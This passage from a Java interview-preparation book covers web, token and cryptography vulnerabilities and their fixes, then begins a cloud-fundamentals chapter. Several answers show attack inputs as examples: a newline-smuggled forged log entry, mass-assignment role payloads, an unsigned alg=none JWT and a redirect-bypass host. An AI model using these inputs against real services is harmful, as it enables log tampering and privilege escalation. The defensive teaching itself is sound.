               .orElseThrow(() -> new ResponseStatusException(HttpStatus.NOT_FOUND));
}
```

- Return 404 instead of 403 to avoid confirming existence.
- Add automated tests with two users; use method security for consistent enforcement.
- Review batch endpoints and bulk-export paths.

> **FOLLOW-UP TRAPS**
> - **Does role-based access control prevent it?** No, both users share the same role; object ownership is separate.
> - **Is it caught by scanners?** Poorly; it needs business-logic tests.

#idor #access-control #spring-security

Q68 A JWT library accepts `{"alg":"none"}` tokens. What is the exploit and fix? INTERMEDIATE

The attacker edits claims (`"role":"admin"`), sets `alg` to `none`, drops the signature, and the vulnerable verifier treats the token as valid. Fix by upgrading the library and requiring the expected algorithm explicitly.

- Verify with a parser configured with a specific key and algorithm; do not trust the header.
- Reject tokens with missing signatures and unexpected `typ`/`alg`.

- Add tests with tampered tokens.

> **FOLLOW-UP TRAPS**
> - **Is decoding the payload and checking claims enough?** No, unsigned data is attacker-controlled.
> - **Do modern libraries still allow this?** Defaults are safe now, but custom parsers or lenient configs can reintroduce it.

#jwt #alg-none #authentication-bypass

Q69 **Your RS256 service verifies tokens with a key fetched from the token's `jku` header. What's the attack?** ADVANCED

The attacker hosts their own JWKS, signs a token with their private key, and points `jku` to it; the service dutifully fetches and trusts the attacker's key, accepting any claims. Never take key locations or embedded keys (`jwk`) from the token.

- Configure the JWKS URL statically from the issuer's metadata.
- Allow-list `kid` values and restrict `kid` to key lookup in an in-memory map.
- Algorithm confusion: an RS256 public key presented as an HS256 secret is a related attack, solved by fixing the algorithm per key.

> **FOLLOW-UP TRAPS**
> - **Is an allow-list of `jku` hosts enough?** Open redirects on allowed hosts can still be abused; prefer static configuration.
> - **Why is the public key usable as an HMAC secret?** The library chose the algorithm from the header.

#jwt #jku #key-confusion

Q70 **An access token JWT has a 30-day lifetime and the user reports a stolen device. How do you revoke it?** INTERMEDIATE

Stateless JWTs cannot be revoked by design. Options: a server-side deny-list of `jti` or user/session version checked on each request, rotating the signing key (invalidates everyone), or switching to opaque tokens with introspection.

- Redesign: 5-15 minute access tokens plus rotating refresh tokens stored server-side with reuse detection.
- Revoking the refresh token stops renewal; the access token expires shortly.
- Keep a `token_version` on the user and compare it with a claim.

> **FOLLOW-UP TRAPS**
> - **Does a deny-list defeat the stateless benefit?** Partly, but it is small (only revoked IDs until expiry).
> - **Is changing the password enough?** Only if you check a version or `iat` against the password-change time.

#jwt #revocation #token-lifetime

Q71 **Compare storing a JWT in `localStorage` vs an HttpOnly cookie for a SPA.** INTERMEDIATE

`localStorage` is readable by any script, so XSS steals the token for use anywhere. An `HttpOnly; Secure; SameSite` cookie is invisible to JS but is sent automatically, which needs CSRF defenses.

- For BFF (backend-for-frontend) patterns the server holds tokens and gives the browser only a session cookie.
- XSS with an HttpOnly cookie still lets the attacker act as the user from the page, but cannot exfiltrate the token.
- Strong CSP reduces XSS in both models.

FOLLOW-UP TRAPS

- **Is `sessionStorage` safer?** Same XSS exposure, only shorter lifetime.
- **Does `SameSite=Lax` fully stop CSRF?** It blocks most cross-site POSTs, but GET-based state changes and same-site subdomains remain risks.

#jwt #xss #csrf #cookies

Q72 Users are stored with unsalted MD5 passwords and the DB leaked. What now? INTERMEDIATE

Assume most passwords are cracked within hours. Force resets, notify users, and migrate hashing. A transparent upgrade wraps the old hash: `argon2(md5hash)` for everyone immediately, then re-hash with the plain password at next login.

- Store an algorithm ID per row (`{md5-argon2}`) to know how to verify.
- Invalidate sessions and tokens, and enable MFA.
- Check for credential stuffing on other systems; tell users to change reused passwords.

FOLLOW-UP TRAPS

- **Can you migrate offline without user input?** Only by wrapping the old hash, which doesn't restore strength for weak passwords.
- **Does salting after the fact help?** It protects against rainbow tables for new hashes, not the already-leaked ones.

#password-hashing #breach #migration

Q73 Login takes 800 ms after switching to bcrypt cost 14 and CPU spikes under load. How do you reason about this? INTERMEDIATE

Password hashing is intentionally expensive, but it becomes a DoS vector: attackers can flood login endpoints to exhaust CPU. Tune cost for roughly 100-300 ms, rate limit and cap concurrent hashing, and offload to a dedicated pool.

- Rate limit per IP and per account; add CAPTCHA or lockout with backoff.
- Use a bounded executor so hashing doesn't starve request threads.
- Prefer Argon2id parameters sized to memory so you control both CPU and RAM.

FOLLOW-UP TRAPS

- **Should you lower the cost to fix load?** Scale horizontally and rate limit first; weakening hashes harms breach resistance.
- **Does hashing on the client avoid server cost?** No, the hash would become the password.

#bcrypt #performance #dos

Q74 You must encrypt PII columns in the database. What is a sound design? ADVANCED

Use envelope encryption: a data key per tenant or table encrypts values with AES-GCM; the data keys are wrapped by a KMS master key. Store ciphertext, IV and key version together; rotate by re-wrapping or lazily re-encrypting.

- Bind context with AAD (row ID, column name) so ciphertext can't be swapped between rows.
- For searchable fields use a blind index: `HMAC(key2, normalized_value)` ; deterministic encryption leaks equality.
- Never log plaintext or keys; cache unwrapped data keys with short TTL.

FOLLOW-UP TRAPS

- **Does disk or TDE encryption cover this?** It protects stolen disks, not a compromised app or SQL injection.
- **Why AAD?** Without it, an attacker with DB write could copy one user's encrypted value into another's row.

#encryption-at-rest #envelope-encryption #kms

Q75 **An AES-CBC encrypted cookie is accepted by the server and users start tampering with it. What do you fix?** ADVANCED

CBC is malleable: flipping bits in the IV or a previous block predictably changes the next plaintext block, so an attacker can alter fields (e.g., `admin=0` to `admin=1`) without the key. Switch to AES-GCM or add an HMAC (encrypt-then-MAC) verified before decryption.

- Return one generic error for any failure.
- Rotate the key, since you must assume prior cookies were forged.
- Better: opaque session ID with server-side state.

FOLLOW-UP TRAPS

- **Does encryption imply integrity?** No; only authenticated modes provide both.
- **Is a hash appended inside the plaintext enough?** An unkeyed hash can be recomputed by someone who can modify the plaintext.

#aes-cbc #malleability #authenticated-encryption

Q76 **Two threads in your service encrypt with AES-GCM using a static IV `new byte[12]`. What is the consequence?** ADVANCED

Reusing a GCM nonce under one key is catastrophic: XOR of two ciphertexts reveals the XOR of plaintexts, and the GHASH authentication key can be recovered, letting attackers forge messages.

- Generate a fresh random 12-byte IV per encryption with `SecureRandom` and prepend it to ciphertext.
- For very high volumes, rotate keys before 2^32 messages.
- The JDK refuses re-encrypting with the same key/IV on one `Cipher` object without re-init but doesn't stop reuse across objects.

FOLLOW-UP TRAPS

- **Is the IV secret?** No, it is public but must be unique.
- **Does a unique key per message remove the need for unique IVs?** Yes, but you need a way to derive or store those keys.

#aes-gcm #iv-reuse #nonce

Q77 **A Java 17 service uses `Cipher.getInstance("AES")` and writes encrypted files. What is wrong?** BASIC

That string selects `AES/ECB/PKCS5Padding`. ECB encrypts equal plaintext blocks to equal ciphertext blocks (the "ECB penguin"), leaks structure and gives no integrity. It may still work and appear fine in testing.

- Use `AES/GCM/NoPadding` with a random IV per file and store the IV with the ciphertext.
- Migration: tag the file format with a version byte, decrypt with the old method and re-encrypt on write.
- Static analysis (SpotBugs, SonarQube, Appknox) flags ECB.

FOLLOW-UP TRAPS

- **Does ECB with a strong key remain secure?** The key is fine; the mode leaks patterns.
- **Is CBC with a fixed IV better?** Not really; deterministic and unauthenticated.

#aes #ecb #jca

Q78 The signature check `Signature.verify` is wrapped in `try { ... } catch (Exception e) { }` and returns true when no exception. What goes wrong?

INTERMEDIATE

`verify` returns `false` for a bad signature rather than throwing, so treating "no exception" as success accepts invalid signatures. Also swallowing exceptions masks malformed input.

```
Signature s = Signature.getInstance("SHA256withRSA");
s.initVerify(publicKey);
s.update(data);
boolean ok = s.verify(sigBytes); // must check this boolean
if (!ok) throw new SecurityException("bad signature");
```

- Fail closed on every exception path.
- Keep the Psychic Signatures case in mind: always run a patched JDK.

FOLLOW-UP TRAPS

- **Can `verify` throw?** Yes `SignatureException` for malformed signatures; both outcomes must reject.
- **Is checking only the signature enough?** Also bind context (expected signer, timestamps, replay protection).

#signatures #verify #error-handling

Q79 A SecureRandom call blocks for seconds at container start on a low-entropy VM. What do you check?

INTERMEDIATE

Look for `SecureRandom.getInstanceStrong()` or a `NativePRNGBlocking` configuration, which reads `/dev/random`. Use the default `new SecureRandom()`, which seeds from `/dev/urandom` without blocking on modern kernels (5.6+ makes `/dev/random` non-blocking after init).

- Check thread dumps for `NativePRNG` or `SeedGenerator` frames.
- On old JDK 8 setups the egd workaround `-Djava.security.egd=file:/dev/./urandom` was used; the odd `/./` was needed to bypass a special-case in older JDKs.
- Consider installing `haveged` or `rng-tools` only on very old kernels.

FOLLOW-UP TRAPS

- **Is `/dev/urandom` weak at early boot?** It can be before seeding, which is rare on cloud images with virtio-rng.
- **Does `getInstanceStrong()` give better tokens?** Not meaningfully for token generation, only slower.

#securerandom #blocking #containers

Q80 A request-scoped helper creates `new SecureRandom()` for every call, and throughput dropped. What's the fix?

INTERMEDIATE

Constructing and seeding `SecureRandom` repeatedly is costly with some providers and can generate pressure on entropy sources. Reuse a single shared instance (thread-safe), possibly as a `static final` field.

```
private static final SecureRandom RNG = new SecureRandom();

static String token() {
    byte[] b = new byte[32];
    RNG.nextBytes(b);
    return Base64.getUrlEncoder().withoutPadding().encodeToString(b);
}
```

- With the NativePRNG, calls synchronize on a lock; measure before adding per-thread instances.

FOLLOW-UP TRAPS

- **Is a shared `SecureRandom` a security risk?** No, it is designed to be shared.
- **Is `ThreadLocalRandom` a faster substitute?** It is insecure and unsuitable.

#securerandom #performance #concurrency

Q81 A mobile app's API key is hardcoded in the Android APK. How would you assess and handle that? INTERMEDIATE

Anything shipped to a client can be extracted by decompiling (`apktool`, `jadx`); obfuscation only slows analysis. Treat embedded keys as public identifiers and design so their compromise has limited impact.

- Move secret operations to the backend; the app authenticates users and calls your API.
- Restrict keys (package name + signature, referrer, quota, scope) and rotate on leak.
- Use attestation (Play Integrity, App Attest) and short-lived tokens obtained after attestation.
- Scan builds with mobile security tools (e.g. Appknox) for hardcoded secrets.

FOLLOW-UP TRAPS

- **Does ProGuard/R8 hide strings?** It renames symbols but string constants stay readable.
- **Is the NDK the safe place?** Strings can still be recovered with disassemblers.

#secrets #mobile #api-keys

Q82 Spring Boot `application.yml` with DB passwords is in the Docker image. How do you remediate? BASIC

Image layers are retrievable by anyone with pull access, so rotate those credentials and remove them from the image. Provide secrets at runtime and have Spring read them from the environment or mounted files.

```
spring:
  datasource:
    url: ${DB_URL}
    username: ${DB_USER}
    password: ${DB_PASSWORD}
  config:
    import: optional:configtree:/run/secrets/
```

- Use orchestrator secrets (Kubernetes Secret or Vault agent injection).
- Rebuild without secrets; deleting a file in a later layer does not remove it from earlier layers.

FOLLOW-UP TRAPS

- **Does `docker build --build-arg` safely pass secrets?** No, args appear in image history; use BuildKit `--secret`.
- **Is `.dockerignore` enough?** It prevents copying but not leakage via other paths.

#secrets #docker #spring-boot

Q83 Sensitive data appears in application logs: full request bodies including passwords at INFO. How do you handle it? BASIC

Stop the leak first: change the log level or remove the statement and deploy. Then purge or restrict the affected log storage, rotate any exposed credentials and assess breach-notification duties.

- Replace body logging with allow-listed fields.
- Add masking in the logging layer and tests that assert no sensitive keys appear.
- Review downstream copies: log aggregators, backups, APM traces, error trackers.
- Restrict access and set retention.

FOLLOW-UP TRAPS

- **Is deleting the local file enough?** No, shipped copies exist in the aggregator.
- **Do request logging filters like `CommonsRequestLoggingFilter` hide secrets?** No, they log payload as is unless customized.

#logging #pii #incident

Q84 **A user input is written to logs and an attacker inserts `\n2026-01-01 INFO Login success user=admin`. What is this?** BASIC

Log forging (CRLF injection into logs): newlines let the attacker fabricate entries or confuse parsers and SIEM rules.

- Strip or encode CR/LF in untrusted values before logging, or use a structured JSON layout that escapes them.
- Parameterized logging (`log.info("user={}", user)`) does not sanitize newlines.
- Pair with validation at input boundaries.

> **FOLLOW-UP TRAPS**
> - **Does Logback's pattern escape newlines?** Not by default; use `%replace` or a JSON encoder.
> - **Does the same apply to log viewers rendering HTML?** Yes, also encode on display.

#log-injection #log-forging #logging

Q85 **A Spring app has `/actuator/env` and `/actuator/heapdump` exposed to the internet. What can an attacker do?** INTERMEDIATE

`env` reveals configuration (sometimes unmasked secrets, and `/actuator/env` POST with Spring Cloud can alter properties), and `heapdump` provides the full heap with passwords, session tokens and private keys.

- Immediately restrict exposure and rotate any secrets present.
- Set `management.endpoints.web.exposure.include=health,info`, secure with Spring Security roles, and use a separate management port.
- Check access logs for earlier downloads.

> **FOLLOW-UP TRAPS**
> - **Is key masking sufficient?** Only default names are sanitized; custom names like `partner.token` may show.
> - **Is it a risk if behind a gateway?** Yes if the gateway forwards `/actuator/**`.

#actuator #misconfiguration #secrets

Q86 **Your Dependabot alert says Jackson-databind has a CVE, but no code uses polymorphic typing. Should you upgrade?** INTERMEDIATE

Yes, upgrade as a matter of course, but this affects urgency. Many Jackson CVEs require default typing or specific gadgets on the classpath; without them, exploitability is low. Document the triage and schedule the patch.

- Check the advisory preconditions (`activateDefaultTyping`, `@JsonTypeInfo(CLASS)`, gadget jars).
- Spring Boot BOM upgrades usually fix it in a patch release.
- Keep a reachability note for audit trails.

> **FOLLOW-UP TRAPS**
> - **Is "not reachable today" a permanent answer?** No; code changes can make it reachable.
> - **Does overriding only `jackson-databind` suffice?** Align all Jackson modules to the same version.

#dependencies #cve #triage

Q87 **The build suddenly pulls a company-internal artifact name from Maven Central. What happened?** ADVANCED

Dependency confusion: someone published a package with your internal groupId/artifactId and a higher version to a public repository, and the resolver preferred it.

- Route all resolution through a repository manager with the internal groupId served only from the private repository (routing rules/exclusive content).
- Claim your namespace on Central (Sonatype verifies group ownership).
- Enable checksum/dependency verification (`gradle --write-verification-metadata`) so unexpected artifacts fail the build.
- Investigate whether any build ran the malicious artifact; rotate CI secrets.

> **FOLLOW-UP TRAPS**
> - **Does version pinning help?** Yes, exact versions plus verification prevent silent upgrade.
> - **Why are build plugins worse?** They run with CI credentials during the build.

#dependency-confusion #supply-chain #maven

Q88 **A new vulnerability is announced in a library you use, and you don't know which services use it. How do you answer fast?** INTERMEDIATE

Without an inventory you grep repos; with SBOMs you query. Generate CycloneDX SBOMs in CI per build and store them (e.g. Dependency-Track) so you can search by `group:artifact:version` and see deployed artifacts.

- Scan images (Trivy, Grype) in the registry and at runtime.
- Map artifacts to services/owners and track patch SLAs.
- Mitigate before patching if possible (WAF rule, feature flag, config switch).

> **FOLLOW-UP TRAPS**
> - **Is `mvn dependency:tree` per repo enough?** Not at scale, and it misses shaded/fat jar contents.
> - **Do shaded jars hide vulnerable code?** Yes, relocated classes won't show in manifests; scan the final artifact.

#sbom #inventory #incident-response

Q89 **After Java 17 upgrade, an old library crashes with `InaccessibleObjectException`. A teammate proposes `--add-opens` everywhere. Your view?** INTERMEDIATE

`--add-opens` is acceptable as a narrow, documented stopgap for a specific package and module, but the proper fix is upgrading the library to a version that does not reflect into JDK internals.

- Scope it: `--add-opens java.base/java.lang=ALL-UNNAMED` only for the needed package.
- Track each flag with an owner and removal ticket.
- Wide opens weaken the encapsulation that blocks deserialization and reflection hacks on JDK internals.

> **FOLLOW-UP TRAPS**
> - **Why did Java 9-15 not fail?** `--illegal-access=permit` was the default until JDK 16 and removed in 17.
> - **Does `--add-opens` grant file or network permissions?** No, only reflective access.

#jpms #add-opens #encapsulation

Q90 **A legacy app runs a plugin system with `System.setSecurityManager`. What breaks on Java 24 and what is the replacement?** ADVANCED

On Java 24 the call throws `UnsupportedOperationException`, and `-Djava.security.manager=allow` no longer enables it, so plugins run with full privileges. Isolation must move outside the JVM.

- Run plugins in separate processes or containers with seccomp, read-only filesystem, no network, and cgroup limits.
- Use a narrow IPC (gRPC) and treat plugin code as untrusted.
- Consider Wasm sandboxes (Chicory) for compute-only plugins.
- Stay on Java 17-23 only as a temporary bridge, with the deprecation warnings tracked.

FOLLOW-UP TRAPS

- **Can a custom `ClassLoader` sandbox plugins?** It isolates namespaces, not privileges.
- **Does `--sun-misc-unsafe-memory-access` relate?** No, that is a different JEP about Unsafe.

#securitymanager #sandbox #migration

Q91 An internal service is called with `http://` and relies on a private network. Why might auditors object? BASIC

Private networks are not trustworthy: compromised hosts, misconfigured peering, and shared clusters allow sniffing. Compliance regimes (PCI, HIPAA) often require encryption in transit internally too.

- Use TLS for service-to-service traffic, or a service mesh (mTLS via Istio/Linkerd) for automated cert rotation.
- Configure Spring clients with proper truststores; keep hostname verification.
- Authenticate callers (mTLS or signed tokens) beyond network location.

FOLLOW-UP TRAPS

- **Does a mesh remove the need for app authorization?** No, it authenticates workloads; business authorization is still yours.
- **What is the cost of internal TLS?** A small CPU overhead, mostly absorbed by session resumption.

#tls #zero-trust #transport-security

Q92 A client app works when you pass `-Djavax.net.ssl.trustStore=...` but ignores it when you create an `SSLContext` manually. Why? INTERMEDIATE

System properties are read by the default `SSLContext` / `TrustManagerFactory` initialisation. If you call `ctx.init(null, customTrustManagers, null)`, your managers replace the defaults. If you pass `null` for trust managers, the default (with properties) is used. Library-specific clients (Apache HttpClient, OkHttp) may not use JVM defaults at all.

- Print the effective store with `-Djavax.net.debug=trustmanager`.
- Verify the file path and password; a wrong password gives an `IOException`, a wrong file silently falls back sometimes.

FOLLOW-UP TRAPS

- **Does the property add to or replace `cacerts`?** It replaces it.
- **Does `javax.net.ssl.trustStore` affect clients that create their own `SSLContext`?** Not necessarily.

#truststore #sslcontext #configuration

Q93 Mutual TLS between two services intermittently fails after a client certificate rotation. What do you investigate? ADVANCED

Likely causes: the server truststore lacks the new issuing CA, the new cert's EKU lacks `clientAuth`, the chain is incomplete, or long-lived pooled connections still use the old identity and then fail on renegotiation. Confirm with handshake debug logs.

- Compare `keytool -list -v` output for validity, EKU, SAN and issuer.
- Roll out trust (new CA in truststores) before rotating certs.
- Reload `KeyManager` on rotation (Spring Boot SSL bundles) and recycle connection pools.

FOLLOW-UP TRAPS

- **Does restarting only the client fix a missing CA on the server?** No.
- **Why intermittently?** Some server replicas have the updated truststore and others don't.

#mtls #rotation #truststore

Q94 You must verify a webhook from a partner. How do you design signature verification?

INTERMEDIATE

Compute HMAC-SHA256 over the raw request body (plus a timestamp) with the shared secret and compare with the header value in constant time. Reject old timestamps to prevent replay.

```
Mac mac = Mac.getInstance("HmacSHA256");
mac.init(new SecretKeySpec(secret, "HmacSHA256"));
byte[] expected = mac.doFinal(rawBody);
boolean ok = MessageDigest.isEqual(expected, HexFormat.of().parseHex(sigHeader));
```

- Use the raw bytes, not re-serialized JSON (field order and whitespace differ).
- Reject when `|now − timestamp| > 5 min` and track delivery IDs.

FOLLOW-UP TRAPS

- **Why not compare strings with `equals`?** It is not constant-time.
- **Does HMAC prevent replay?** No, add timestamps/nonces.

#hmac #webhooks #replay

Q95 Users report their reset email links were used by someone else. Review shows tokens are 6-digit numeric codes valid for 24 hours. What do you change?

INTERMEDIATE

Six digits is 1,000,000 possibilities; without rate limiting an attacker enumerates them within the window. Use at least 128-bit random tokens for links, or short-lived (10 minutes) codes with strict attempt limits.

- Limit attempts per account and IP, then invalidate the token after N failures.
- Store only a hash, bind to the user, make it single-use.
- Notify the user on reset and invalidate sessions after a successful reset.

FOLLOW-UP TRAPS

- **Is a 6-digit code ever acceptable?** For MFA/OTP with a 30-second validity and attempt lockout, yes.
- **Do identical error messages matter?** Yes, differing responses enable user enumeration.

#tokens #brute-force #rate-limiting

Q96 Your login endpoint is hit with credential stuffing. What defenses fit a Java service?

INTERMEDIATE

Layer defenses: per-IP and per-account rate limiting (Bucket4j, gateway limits), progressive delays, CAPTCHA or risk-based challenge, MFA, breached-password checks (HIBP k-anonymity API), and alerting on high failure rates.

- Avoid hard account lockout that lets attackers lock out real users; use backoff.
- Make responses and timing identical for unknown users and wrong passwords.
- Use device and IP reputation at the edge/WAF.

FOLLOW-UP TRAPS

- **Does strong password hashing stop stuffing?** No, the attacker uses real, valid credentials from other leaks.
- **Does per-IP limiting suffice?** Botnets distribute across IPs; limit per account too.

#credential-stuffing #rate-limiting #authentication

Q97 A developer logs `Authorization` headers to debug an issue and forgets to remove it. How do you design to prevent this class of bug?

BASIC

Combine controls: a code review checklist, automated scanning for secrets and sensitive key names, centralized redaction, and dedicated types for secrets.

- Wrap secrets in a `Secret` class whose `toString()` returns `"****"`.
- Configure HTTP client and server logging to exclude headers (`Authorization`, `Cookie`, `Set-Cookie`).
- Short token TTLs reduce impact of leaked logs.
- Secrets scanning on log sinks (e.g., DLP rules) as a last line.

> **FOLLOW-UP TRAPS**
> - **Is DEBUG logging in production acceptable?** Only temporarily, scoped to a request, with redaction.
> - **Do wrapper types stop reflection-based serializers?** Jackson would still serialize fields; annotate with `@JsonIgnore`.

#logging #secrets #defense-in-depth

Q98 **A Spring Boot CORS config uses `allowedOrigins("*")` with `allowCredentials(true)`. What happens?** INTERMEDIATE

Spring rejects `*` with credentials (`IllegalArgumentException` in `CorsConfiguration` validation); the browser spec also forbids it. Developers then "fix" it by reflecting the request `Origin` header, which allows any site to read authenticated responses.

- Allow-list explicit origins and set `allowedOriginPatterns` carefully.
- CORS is not authentication; it only relaxes the browser's same-origin read restrictions.
- Avoid `Access-Control-Allow-Origin: null`.

> **FOLLOW-UP TRAPS**
> - **Does CORS block the request from being sent?** For simple requests no; the server still processes it.
> - **Is reflecting the Origin safe if you check cookies?** No, cookies are sent automatically so it exposes data.

#cors #spring-security #misconfiguration

Q99 **A REST endpoint binds the request body straight to a JPA entity with `@RequestBody User user`. What's the vulnerability?** INTERMEDIATE

Mass assignment: a client adds `"role":"ADMIN"` or `"id"` or `"enabled":true` and Jackson sets those fields, escalating privileges.

- Bind to a dedicated DTO containing only permitted fields and map explicitly.
- Use `@JsonIgnoreProperties(ignoreUnknown = false)` or `FAIL_ON_UNKNOWN_PROPERTIES` to reject surprises.
- Use `@JsonProperty(access = READ_ONLY)` for server-controlled fields as an additional barrier.

> **FOLLOW-UP TRAPS**
> - **Does `@JsonIgnore` on `role` fix it everywhere?** It also hides it from responses; use DTOs for clarity.
> - **Does Spring MVC data binding (`@ModelAttribute`) have the same issue?** Yes, use `setAllowedFields`/DTOs.

#mass-assignment #jackson #dto

Q100 **Your service uses SpEL or a template engine with user-supplied expressions. What risks exist?** ADVANCED

Expression languages (SpEL, OGNL, EL, FreeMarker, Velocity) can call arbitrary methods, so user-controlled expressions lead to RCE (Spring4Shell and Struts OGNL flaws are in this family).

- Don't evaluate user input as expressions; if needed, use `SimpleEvaluationContext` in Spring, which disables type references and constructors.
- Sandbox template engines and restrict classes (`TemplateClassResolver` in FreeMarker).
- Keep frameworks patched.

FOLLOW-UP TRAPS

- **Is `StandardEvaluationContext` safe with trusted config?** Only if no user data reaches the expression.
- **Is output escaping a fix?** No, this is server-side evaluation before output.

#spel #template-injection #rce

Q101 A scheduled job extracts uploaded ZIP files. A pentester provides a 42 KB file that expands to 4 GB. What defends this? INTERMEDIATE

A decompression bomb. Enforce limits while streaming: maximum entry count, maximum bytes per entry and total, and a compression ratio threshold, aborting when exceeded. Do not trust declared sizes.

```
long total = 0;
byte[] buf = new byte[8192];
int n;
while ((n = zin.read(buf)) > 0) {
    total += n;
    if (total > MAX_TOTAL) throw new IOException("Archive too large");
    out.write(buf, 0, n);
}
```

- Extract in a quota-limited temp directory and clean up.
- Combine with path validation for Zip Slip.

FOLLOW-UP TRAPS

- **Is `ZipEntry.getSize()` reliable?** It can be -1 or falsified; count actual bytes.
- **Do nested archives matter?** Yes, limit recursion depth.

#zip-bomb #dos #archives

Q102 An OAuth redirect endpoint accepts any `redirect_uri` parameter. What is the impact? INTERMEDIATE

An attacker crafts a login link with their own `redirect_uri`; after the victim authenticates, the authorization code or token is delivered to the attacker, causing account takeover. Even a plain open redirect aids phishing.

- Require exact string match against pre-registered redirect URIs (no wildcards).
- Use authorization code flow with PKCE and the `state` parameter.
- For app-level redirects (post-login `next`), allow only relative paths or allow-listed hosts.

FOLLOW-UP TRAPS

- **Is prefix matching OK?** No, `https://app.example.com.evil.com` matches a naive prefix check.
- **Does PKCE fix redirect tampering?** It protects code interception, but you still need exact redirect matching.

#oauth #open-redirect #authorization-code

Q103 A cron job needs to call a third-party API with a long-lived key. How do you reduce blast radius? INTERMEDIATE

Scope the key to the minimum API permissions, store it in a secrets manager, fetch at start-up through workload identity, and rotate on schedule with overlap (two active keys) so rotation has no downtime.

- Alert on use from unexpected IPs; use IP allow-listing where the provider supports it.
- Audit access to the secret and avoid copies in CI variables.
- Prepare a documented revoke-and-replace runbook, and test it.

FOLLOW-UP TRAPS

- **Does rotating every year suffice?** Rotation reduces exposure windows; detection and scoping matter more.
- **How do you rotate without downtime?** Support multiple valid keys during the switch, then revoke the old one.

#secrets #least-privilege #rotation

Q104 A security review says "use `SHA-256` of password plus username as salt". What's your response? BASIC

Reject it: a predictable salt and a fast hash still allow targeted GPU cracking, and the same username/password pair yields the same hash across systems. Use Argon2id or bcrypt via Spring's `PasswordEncoder` with a random per-user salt generated by the library.

```
PasswordEncoder enc = new BCryptPasswordEncoder(12);
String stored = enc.encode(rawPassword);
boolean ok = enc.matches(rawPassword, stored);
```

- The salt is embedded in the bcrypt output, so there is no separate column.
- Rehash on login when the stored cost is below the current policy (`upgradeEncoding`).

FOLLOW-UP TRAPS

- **Is a username acceptable as salt if unique?** It is guessable and reused across sites; use random salts.
- **Why avoid writing your own?** Subtle bugs in construction (truncation, encoding, comparison) are common.

#password-hashing #salt #code-review

Q105 A pen test shows stack traces and SQL errors in HTTP 500 responses. How do you address it? BASIC

Error details reveal class names, library versions, SQL structure and file paths, helping targeted attacks. Return a generic message with a correlation ID and log the detail server-side.

```
server:
  error:
    include-stacktrace: never
    include-message: never
    include-binding-errors: never
```

- Implement a `@RestControllerAdvice` returning RFC 7807 `ProblemDetail` with safe fields.
- Disable Whitelabel/debug pages in production and `spring.devtools`.

FOLLOW-UP TRAPS

- **Are validation messages also sensitive?** Not usually, but avoid echoing raw input into messages.
- **Does `include-message=never` hide custom exception text?** Yes, in Boot 2.3+ the default is also `never`.

#error-handling #information-disclosure #spring

CORE JAVA · CHAPTER 17

Cloud Computing Fundamentals

Service models, regions and AZs, shared responsibility, IAM, VPC networking, load balancing, autoscaling, storage and databases, messaging, serverless and Java cold starts, twelve-factor, containers, cost, HA/DR, observability and cloud incident scenarios (AWS-focused).

115 questions **33** basic **61** intermediate **21** advanced

Examples use AWS terminology; the principles apply to Azure and GCP with different product names.

Theory

Q1 What are IaaS, PaaS, SaaS and FaaS? BASIC

They differ in how much of the stack the provider manages. IaaS gives virtual machines, disks and networks; PaaS gives a managed runtime for your code; SaaS gives a finished application; FaaS runs individual functions on demand.

- IaaS: EC2, EBS, VPC. You patch the OS and runtime.
- PaaS: Elastic Beanstalk, App Runner, RDS (managed platform for a database).
- SaaS: Gmail, Salesforce. You only configure and use it.
- FaaS: AWS Lambda. You supply a function; scaling, patching and capacity are the provider's job.

FOLLOW-UP TRAPS

- **Is a managed database PaaS?** Yes, it is a platform service: the provider runs the engine and OS, you manage schema and data.
- **Is FaaS the same as serverless?** FaaS is one kind of serverless; S3, DynamoDB and SQS are serverless too.

#service-models #iaas #paas #saas #faas

Q2 What is a region and what is an Availability Zone? BASIC

A region is a geographic area (for example `ap-south-1`) made of several isolated Availability Zones. An AZ is one or more data centers with independent power, cooling and networking, connected to its siblings by low-latency links.

- Deploy across at least two AZs for high availability inside a region.
- Regions are isolated from each other; data does not leave a region unless you replicate it.

FOLLOW-UP TRAPS

- **Is `us-east-1a` the same physical AZ in every account?** No, AWS shuffles the name-to-AZ mapping per account; use AZ IDs (`use1-az1`) to coordinate across accounts.
- **Is cross-AZ traffic free?** No, it is billed per GB, which matters for chatty services.

#regions #availability-zones

Q3 How do you choose a region? BASIC

Weigh data residency and compliance first, then latency to users, then service availability and price.

- Some services and instance types launch in a few regions only.
- Prices vary per region.

- Disaster recovery regions should be far enough to avoid shared regional events.

> **FOLLOW-UP TRAPS**
> - **Does a CDN remove the need to pick a region near users?** It helps for cacheable reads; writes and dynamic API calls still go to the origin region.

#regions #latency #compliance

Q4 Explain the shared responsibility model. BASIC

The provider is responsible for security "of" the cloud (hardware, hypervisor, facilities, managed-service internals); the customer is responsible for security "in" the cloud (data, IAM, network rules, OS patching on IaaS, application code).

- The split shifts with the service model: on EC2 you patch the OS; on Lambda AWS patches the runtime but you still own code, dependencies and permissions.
- Encryption configuration, public bucket exposure and leaked keys are customer-side failures.

> **FOLLOW-UP TRAPS**
> - **Who patches the guest OS of an RDS instance?** AWS, via maintenance windows; you control the window and engine version upgrades.
> - **Who is at fault for a public S3 bucket?** The customer; the service works as configured.

#security #shared-responsibility

Q5 What is IAM and what are its main building blocks? BASIC

IAM controls who (principal) can do what (action) on which resource under which conditions. Building blocks: users, groups, roles, and policies.

- A role has no long-term credentials; principals assume it and receive temporary credentials from STS.
- Policies are JSON documents attached to identities or resources.
- Explicit `Deny` always wins over `Allow`; the default is implicit deny.

> **FOLLOW-UP TRAPS**
> - **Is a group a principal?** No, you cannot reference a group in a resource policy principal.
> - **What is the root user for?** A few account-level tasks only; lock it with MFA and do not use it daily.

#iam #security

Q6 What is the principle of least privilege and how do you apply it? BASIC

Grant only the actions and resources a workload needs, for as long as it needs them. Start narrow and widen from evidence.

- Use specific actions and resource ARNs instead of `*`.
- Use IAM Access Analyzer and last-accessed data to prune unused permissions.
- Add conditions (source VPC, tags, MFA) and permission boundaries.

```
{
  "Effect": "Allow",
  "Action": ["s3:GetObject"],
  "Resource": "arn:aws:s3:::orders-exports/reports/*"
}
```

> **FOLLOW-UP TRAPS**
> - **Is `s3:*` on one bucket least privilege?** No, it includes delete and policy changes.
> - **Does an AWS managed `AdministratorAccess` policy for a CI job pass review?** Rarely; scope it to the stacks and services it deploys.

#iam #least-privilege

Q7 IAM user with access keys versus IAM role: which should an application use? INTERMEDIATE

Use a role. Compute services (EC2 instance profile, ECS task role, Lambda execution role, EKS IRSA/Pod Identity) deliver short-lived credentials automatically, so there is nothing to store or rotate.

- Access keys are long-lived and leak through repos, logs and images.
